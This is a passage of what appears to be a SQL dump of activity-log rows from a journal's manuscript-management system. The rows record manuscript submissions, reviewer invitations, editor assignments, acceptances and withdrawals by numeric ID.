Manuscript',12198,'Editor',1408),(115430,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12198,'Editor',1408),(115431,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12327,'Publisher',48),(115432,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12313,'Publisher',48),(115433,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12284,'Publisher',48),(115434,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12284,'Publisher',48),(115435,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12279,'Publisher',48),(115436,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12267,'Publisher',48),(115437,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12267,'Publisher',48),(115440,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12397,'Author',12666),(115442,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12398,'Author',12667),(115461,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12198,'Publisher',85),(115462,'0000-00-00 00:00:00','Reviewer has updated comments',12211,'Reviewer',9000),(115466,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12211,'Editor',1394),(115467,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12211,'Editor',1394),(115501,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12211,'Publisher',85),(115506,'0000-00-00 00:00:00','Author sent Email',4013,'Author',5214),(115508,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12392,'Publisher',85),(115509,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115510,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115511,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115512,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115513,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115514,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115515,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115516,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115517,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115518,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115519,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115520,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115521,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115522,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115523,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115524,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115525,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115526,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115527,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12392,'Publisher',85),(115528,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115529,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12341,'Publisher',85),(115532,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12405,'Author',12674),(115556,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12407,'Author',12676),(115563,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12394,'Publisher',75),(115567,'0000-00-00 00:00:00','Reviewer has submitted comments',12205,'Reviewer',11520),(115568,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12205,'Publisher',48),(115589,'0000-00-00 00:00:00','Reviewer has submitted comments',12229,'Reviewer',11520),(115590,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12229,'Publisher',48),(115591,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12229,'Publisher',48),(115601,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12394,'Editor',160),(115602,'0000-00-00 00:00:00','Editor has Invited Reviewer',12394,'Editor',160),(115603,'0000-00-00 00:00:00','Editor has Invited Reviewer',12394,'Editor',160),(115604,'0000-00-00 00:00:00','Editor has Invited Reviewer',12394,'Editor',160),(115605,'0000-00-00 00:00:00','Editor has Invited Reviewer',12394,'Editor',160),(115606,'0000-00-00 00:00:00','Editor has Invited Reviewer',12394,'Editor',160),(115619,'0000-00-00 00:00:00','Manuscript Updated',12347,'Publisher',48),(115620,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12347,'Publisher',48),(115621,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12405,'',1045),(115648,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12429,'Author',12701),(115656,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',11148,'Publisher',75),(115666,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12286,'Publisher',84),(115667,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12289,'Publisher',84),(115668,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12324,'Publisher',84),(115669,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115670,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115671,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115672,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115673,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115674,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115675,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115676,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115677,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115678,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115679,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115680,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115681,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115682,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115683,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12286,'Publisher',84),(115688,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12436,'Author',12709),(115692,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',11193,'Editor',160),(115693,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11193,'Publisher',75),(115694,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',11193,'Publisher',75),(115695,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12103,'Editor',162),(115696,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12103,'Editor',162),(115697,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12103,'Publisher',75),(115709,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12103,'Publisher',75),(115711,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11193,'Publisher',75),(115728,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12278,'Editor',162),(115729,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12278,'Editor',162),(115730,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12278,'Publisher',75),(115735,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12424,'Publisher',85),(115736,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12422,'Publisher',85),(115737,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12419,'Publisher',85),(115738,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12278,'Publisher',75),(115739,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12278,'Publisher',75),(115746,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12452,'Author',12718),(115757,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12436,'',1045),(115767,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12457,'Author',12724),(115769,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12419,'Editor',1291),(115770,'0000-00-00 00:00:00','Editor has Invited Reviewer',12419,'Editor',1291),(115771,'0000-00-00 00:00:00','Editor has Invited Reviewer',12419,'Editor',1291),(115772,'0000-00-00 00:00:00','Editor has Invited Reviewer',12419,'Editor',1291),(115773,'0000-00-00 00:00:00','Editor has Invited Reviewer',12419,'Editor',1291),(115774,'0000-00-00 00:00:00','Editor has Invited Reviewer',12419,'Editor',1291),(115775,'0000-00-00 00:00:00','Editor has Invited Reviewer',12419,'Editor',1291),(115776,'0000-00-00 00:00:00','Editor has Invited Reviewer',12419,'Editor',1291),(115777,'0000-00-00 00:00:00','Editor has Invited Reviewer',12419,'Editor',1291),(115778,'0000-00-00 00:00:00','Editor has Invited Reviewer',12419,'Editor',1291),(115782,'0000-00-00 00:00:00','Reviewer has submitted comments',12405,'Reviewer',14534),(115783,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12405,'Editor',194),(115784,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12405,'Editor',194),(115785,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12405,'Editor',194),(115788,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12429,'Publisher',84),(115841,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12452,'Publisher',48),(115842,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12452,'Publisher',48),(115843,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12452,'Publisher',48),(115844,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12452,'Publisher',48),(115845,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12452,'Publisher',48),(115846,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12452,'Publisher',48),(115847,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12452,'Publisher',48),(115848,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12452,'Publisher',48),(115852,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12454,'',1052),(115855,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12457,'Publisher',48),(115869,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12491,'Author',12762),(115910,'0000-00-00 00:00:00','Author sent Email',11566,'Author',11965),(115911,'0000-00-00 00:00:00','Manuscript Submitted by Author',12493,'Author',9086),(115925,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',12499,'Publisher',1009),(115927,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',12500,'Publisher',1009),(115928,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',12501,'Publisher',1009),(115929,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',12502,'Publisher',1009),(115930,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',12503,'Publisher',1009),(115943,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12307,'Editor',162),(115944,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12307,'Editor',162),(115945,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12307,'Publisher',75),(115946,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12457,'Publisher',48),(115947,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12457,'Publisher',48),(115948,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12457,'Publisher',48),(115949,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12457,'Publisher',48),(115950,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12506,'Author',12771),(115969,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(115970,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(115971,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(115972,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(115973,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(115974,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(115975,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(115976,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12394,'Publisher',75),(115977,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12394,'Publisher',75),(115978,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12394,'Publisher',75),(115979,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12394,'Publisher',75),(115980,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12394,'Publisher',75),(116006,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',12457,'Reviewer',10975),(116014,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12424,'Editor',1343),(116015,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12424,'Editor',1343),(116018,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12419,'Editor',1291),(116019,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12424,'Editor',1343),(116020,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12422,'Editor',1343),(116021,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12422,'Editor',1343),(116022,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12419,'Publisher',85),(116023,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12419,'Publisher',85),(116024,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12424,'Publisher',85),(116025,'0000-00-00 00:00:00','Manuscript Updated',12422,'Publisher',85),(116026,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12422,'Publisher',85),(116027,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12407,'Publisher',85),(116028,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12407,'Publisher',85),(116029,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12407,'Publisher',85),(116030,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12407,'Publisher',85),(116031,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12407,'Publisher',85),(116032,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12407,'Publisher',85),(116033,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12407,'Publisher',85),(116034,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12407,'Publisher',85),(116035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12407,'Publisher',85),(116036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12407,'Publisher',85),(116037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12407,'Publisher',85),(116039,'0000-00-00 00:00:00','Reviewer has submitted comments',12452,'Reviewer',5467),(116040,'0000-00-00 00:00:00','Reviewer has submitted comments',12457,'Reviewer',5467),(116041,'0000-00-00 00:00:00','Reviewer has submitted comments',9233,'Reviewer',5467),(116042,'0000-00-00 00:00:00','Reviewer has submitted comments',9233,'Reviewer',5467),(116043,'0000-00-00 00:00:00','Reviewer has submitted comments',12419,'Reviewer',15588),(116044,'0000-00-00 00:00:00','Reviewer has submitted comments',12419,'Reviewer',15588),(116045,'0000-00-00 00:00:00','Reviewer has submitted comments',12419,'Reviewer',15588),(116046,'0000-00-00 00:00:00','Reviewer has submitted comments',12407,'Reviewer',15586),(116060,'0000-00-00 00:00:00','Author sent Email',11932,'Author',12241),(116066,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12518,'Author',12785),(116067,'0000-00-00 00:00:00','Reviewer has submitted comments',11932,'Reviewer',18593),(116088,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12491,'Publisher',75),(116089,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12493,'Publisher',75),(116090,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(116091,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(116092,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(116093,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(116094,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12348,'Publisher',75),(116095,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12394,'Publisher',75),(116096,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12394,'Publisher',75),(116097,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12394,'Publisher',75),(116098,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12394,'Publisher',75),(116099,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12394,'Publisher',75),(116100,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12497,'',1045),(116112,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12506,'Publisher',48),(116118,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12521,'Author',12788),(116119,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11932,'Publisher',48),(116140,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12170,'Editor',194),(116141,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12170,'Editor',194),(116143,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12170,'Publisher',48),(116144,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12497,'Editor',194),(116145,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12497,'Editor',194),(116146,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12328,'Editor',161),(116147,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12328,'Editor',161),(116148,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12328,'Publisher',75),(116149,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12328,'Publisher',75),(116179,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12522,'Author',12789),(116180,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12523,'Author',12790),(116182,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',11962,'Publisher',48),(116183,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',11031,'Publisher',48),(116242,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12521,'Publisher',48),(116299,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12452,'Editor',194),(116300,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12452,'Editor',194),(116301,'0000-00-00 00:00:00','Manuscript Updated',12497,'',1045),(116302,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12497,'Editor',194),(116303,'0000-00-00 00:00:00','Reviewer has submitted comments',12200,'Reviewer',18594),(116304,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12200,'Publisher',48),(116307,'0000-00-00 00:00:00','Author sent Email',12013,'Author',12313),(116308,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12522,'Publisher',75),(116309,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12518,'Publisher',75),(116349,'0000-00-00 00:00:00','Publisher : Notified Editor',12013,'Publisher',984),(116350,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12013,'Editor',1654),(116351,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12013,'Editor',1654),(116352,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12013,'Editor',1654),(116353,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',12224,'Publisher',984),(116354,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12491,'Publisher',75),(116355,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12491,'Publisher',75),(116356,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12491,'Publisher',75),(116357,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12491,'Publisher',75),(116358,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12491,'Publisher',75),(116359,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12491,'Publisher',75),(116360,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12491,'Publisher',75),(116361,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12491,'Publisher',75),(116362,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12491,'Publisher',75),(116363,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12493,'Publisher',75),(116364,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12493,'Publisher',75),(116365,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12493,'Publisher',75),(116366,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12493,'Publisher',75),(116367,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12493,'Publisher',75),(116368,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12493,'Publisher',75),(116369,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12518,'Publisher',75),(116370,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12518,'Publisher',75),(116371,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12518,'Publisher',75),(116372,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12518,'Publisher',75),(116373,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12518,'Publisher',75),(116374,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12522,'Publisher',75),(116375,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12522,'Publisher',75),(116376,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12522,'Publisher',75),(116377,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12522,'Publisher',75),(116378,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12522,'Publisher',75),(116379,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12522,'Publisher',75),(116386,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12348,'Editor',162),(116387,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12348,'Editor',162),(116388,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12348,'Publisher',75),(116389,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12348,'Publisher',75),(116391,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12530,'Author',12800),(116393,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',12454,'',1052),(116394,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11599,'Publisher',84),(116395,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11599,'Publisher',84),(116396,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',11963,'Publisher',84),(116408,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12013,'Publisher',984),(116430,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12532,'Author',12802),(116431,'0000-00-00 00:00:00','Manuscript Submitted by Author',12533,'Author',12802),(116432,'0000-00-00 00:00:00','Manuscript Submitted by Author',12534,'Author',12802),(116433,'0000-00-00 00:00:00','Manuscript Submitted by Author',12535,'Author',12802),(116434,'0000-00-00 00:00:00','Manuscript Submitted by Author',12536,'Author',12802),(116435,'0000-00-00 00:00:00','Manuscript Submitted by Author',12537,'Author',12802),(116436,'0000-00-00 00:00:00','Manuscript Submitted by Author',12538,'Author',12802),(116447,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12394,'Editor',160),(116448,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12394,'Publisher',75),(116449,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12394,'Publisher',75),(116450,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12405,'',1045),(116451,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12544,'Author',12808),(116452,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12545,'Author',12809),(116453,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12548,'Author',12811),(116456,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12554,'Author',12819),(116468,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12429,'Publisher',84),(116469,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12429,'Publisher',84),(116470,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12429,'Publisher',84),(116471,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12429,'Publisher',84),(116472,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12429,'Publisher',84),(116473,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12429,'Publisher',84),(116474,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12429,'Publisher',84),(116475,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12429,'Publisher',84),(116476,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12429,'Editor',221),(116477,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12429,'Editor',221),(116478,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12429,'Publisher',84),(116481,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12570,'Author',12839),(116482,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12530,'Publisher',48),(116483,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12554,'Publisher',48),(116484,'0000-00-00 00:00:00','Reviewer has submitted comments',12284,'Reviewer',18594),(116485,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12284,'Editor',194),(116486,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12284,'Publisher',48),(116488,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12548,'Publisher',984),(116512,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12571,'Author',12840),(116513,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12572,'Author',12841),(116515,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12491,'Editor',162),(116516,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',12491,'Editor',162),(116517,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',12491,'Publisher',75),(116518,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12491,'Publisher',75),(116519,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12518,'Publisher',75),(116520,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12518,'Publisher',75),(116521,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12518,'Publisher',75),(116522,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12518,'Publisher',75),(116523,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12518,'Publisher',75),(116524,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12518,'Publisher',75),(116525,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12522,'Publisher',75),(116526,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12522,'Publisher',75),(116527,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12522,'Publisher',75),(116528,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12522,'Publisher',75),(116529,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12522,'Publisher',75),(116530,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12522,'Publisher',75),(116586,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',11710,'Publisher',984),(116625,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12573,'Author',12842),(116626,'0000-00-00 00:00:00','Author sent Email',9603,'Author',10473),(116628,'0000-00-00 00:00:00','Manuscript Submitted by Author',12576,'Author',12845),(116629,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12577,'Author',12846),(116631,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',12013,'Publisher',984),(116632,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12548,'Publisher',984),(116633,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12548,'Publisher',984),(116634,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12548,'Publisher',984),(116635,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12548,'Publisher',984),(116636,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12548,'Publisher',984),(116637,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12548,'Publisher',984),(116638,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12548,'Publisher',984),(116639,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12548,'Publisher',984),(116640,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12548,'Publisher',984),(116641,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12548,'Publisher',984),(116642,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12548,'Publisher',984),(116644,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12397,'Publisher',75),(116669,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12579,'Author',12848),(116692,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12397,'Publisher',75),(116693,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12397,'Publisher',75),(116694,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12397,'Publisher',75),(116695,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12397,'Publisher',75),(116696,'0000-00-00 00:00:00','Publisher has Invited Reviewer',12397,'Publisher',75),(116697,'0000-00-00 00:00:00','Manuscript Submitted by Author',12580,'Author',12849),(116698,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12581,'Author',12850),(116699,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',12582,'Author',12851),(116788,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',12397,'Editor',160),(116813,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12570,'Publisher',85),(116814,'0000-00-00 00:00:00','Publisher has been Assigned Editor',12523,'Publisher',85),(116815,'0000-00-00 00:00:00','Reviewer has submitted 